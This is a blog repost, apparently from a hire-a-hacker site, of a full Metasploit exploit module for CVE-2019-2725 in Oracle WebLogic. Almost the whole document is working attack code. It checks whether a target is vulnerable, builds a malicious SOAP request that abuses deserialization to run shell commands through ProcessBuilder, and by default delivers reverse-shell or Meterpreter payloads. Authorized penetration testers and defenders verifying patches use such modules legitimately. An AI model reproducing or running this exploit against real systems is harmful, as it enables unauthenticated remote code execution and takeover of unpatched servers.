Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86377550

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info={})
    super(update_info(info,
      'Name' => 'Oracle Weblogic Server Deserialization RCE - AsyncResponseService ',
      'Description' => %q{
        An unauthenticated attacker with network access to the Oracle Weblogic Server T3
        interface can send a malicious SOAP request to the interface WLS AsyncResponseService
        to execute code on the vulnerable host.
      },
      'Author' =>
        [
        'Andres Rodriguez - 2Secure (@acamro) <acamro[at]gmail.com>',  # Metasploit Module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2019-2725'],
          ['CNVD-C', '2019-48814'],
          ['URL', 'http://www.cnvd.org.cn/webinfo/show/4999'],
          ['URL', 'https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html']
        ],
      'Privileged' => false,
      'Platform' => %w{ unix win solaris },
      'Targets' =>
        [
          [ 'Unix',
            'Platform' => 'unix',
            'Arch' => ARCH_CMD,
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_bash'}
          ],
          [ 'Windows',
            'Platform' => 'win',
            'Arch' => [ARCH_X64, ARCH_X86],
            'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}
          ],
          [ 'Solaris',
            'Platform' => 'solaris',
            'Arch' => ARCH_CMD,
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'},
            'Payload' => {
              'Space'       => 2048,
              'DisableNops' => true,
              'Compat'      =>
                {
                  'PayloadType' => 'cmd',
                  'RequiredCmd' => 'generic perl telnet',
                }
            }
          ]
        ],
      'DefaultTarget' => 0,
      'DefaultOptions' =>
        {
          'WfsDelay' => 12
        },
      'DisclosureDate' => 'Apr 23 2019'))

    register_options(
      [
        Opt::RPORT(7001),
        OptString.new('URIPATH', [false, 'URL to the weblogic instance (leave blank to substitute RHOSTS)', nil]),
        OptString.new('WSPATH', [true, 'URL to AsyncResponseService', '/_async/AsyncResponseService'])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'uri'      => normalize_uri(datastore['WSPATH']),
      'method'   => 'POST',
      'ctype'    => 'text/xml',
      'headers'  => {'SOAPAction' => '' }
    )

    if res && res.code == 500 && res.body.include?("<faultcode>env:Client</faultcode>")
      vprint_status("The target returned a vulnerable HTTP code: /#{res.code}")
      vprint_status("The target returned a vulnerable HTTP error: /#{res.body.split("\n")[0]}")
      Exploit::CheckCode::Vulnerable
    elsif res && res.code != 202
      vprint_status("The target returned a non-vulnerable HTTP code")
      Exploit::CheckCode::Safe
    elsif res.nil?
      vprint_status("The target did not respond in an expected way")
      Exploit::CheckCode::Unknown
    else
      vprint_status("The target returned HTTP code: #{res.code}")
      vprint_status("The target returned HTTP body: #{res.body.split("\n")[0]} [...]")
      Exploit::CheckCode::Unknown
    end
  end

  def exploit
    print_status("Generating payload...")
    case target.name
    when 'Windows'
      string0_cmd = 'cmd.exe'
      string1_param = '/c'
      shell_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encoded: false })
    when 'Unix','Solaris'
      string0_cmd = '/bin/bash'
      string1_param = '-c'
      shell_payload = payload.encoded
    end

    random_action = rand_text_alphanumeric(20)
    random_relates = rand_text_alphanumeric(20)

    soap_payload =  %Q|<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"|
    soap_payload <<   %Q|xmlns:wsa="http://www.w3.org/2005/08/addressing"|
    soap_payload <<   %Q|xmlns:asy="http://www.bea.com/async/AsyncResponseService">|
    soap_payload <<   %Q|<soapenv:Header>|
    soap_payload <<     %Q|<wsa:Action>#{random_action}</wsa:Action>|
    soap_payload <<     %Q|<wsa:RelatesTo>#{random_relates}</wsa:RelatesTo>|
    soap_payload <<     %Q|<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">|
    soap_payload <<       %Q|<void class="java.lang.ProcessBuilder">|
    soap_payload <<         %Q|<array class="java.lang.String" length="3">|
    soap_payload <<           %Q|<void index="0">|
    soap_payload <<             %Q|<string>#{string0_cmd}</string>|
    soap_payload <<           %Q|</void>|
    soap_payload <<           %Q|<void index="1">|
    soap_payload <<             %Q|<string>#{string1_param}</string>|
    soap_payload <<           %Q|</void>|
    soap_payload <<           %Q|<void index="2">|
    soap_payload <<             %Q|<string>#{shell_payload.encode(xml: :text)}</string>|
   #soap_payload <<             %Q|<string>#{xml_encode(shell_payload)}</string>|
    soap_payload <<           %Q|</void>|
    soap_payload <<         %Q|</array>|
    soap_payload <<       %Q|<void method="start"/>|
    soap_payload <<       %Q|</void>|
    soap_payload <<     %Q|</work:WorkContext>|
    soap_payload <<   %Q|</soapenv:Header>|
    soap_payload <<   %Q|<soapenv:Body>|
    soap_payload <<     %Q|<asy:onAsyncDelivery/>|
    soap_payload <<   %Q|</soapenv:Body>|
    soap_payload << %Q|</soapenv:Envelope>|

    uri = normalize_uri(datastore['WSPATH'])
    if uri.nil?
      datastore['URIPATH'] = "http://#{RHOST}:#{RPORT}/"
    end

    print_status("Sending payload...")

    begin
      res = send_request_cgi(
        'uri'      => uri,
        'method'   => 'POST',
        'ctype'    => 'text/xml',
        'data'     => soap_payload,
        'headers'  => {'SOAPAction' => '' }
      )
    rescue Errno::ENOTCONN
      fail_with(Failure::Disconnected, "The target forcibly closed the connection, and is likely not vulnerable.")
    end

    if res.nil?
      fail_with(Failure::Unreachable, "No response from host")
    elsif res && res.code != 202
      fail_with(Failure::UnexpectedReply,"Exploit failed.  Host did not responded with HTTP code #{res.code} instead of HTTP code 202")
    end
  end
end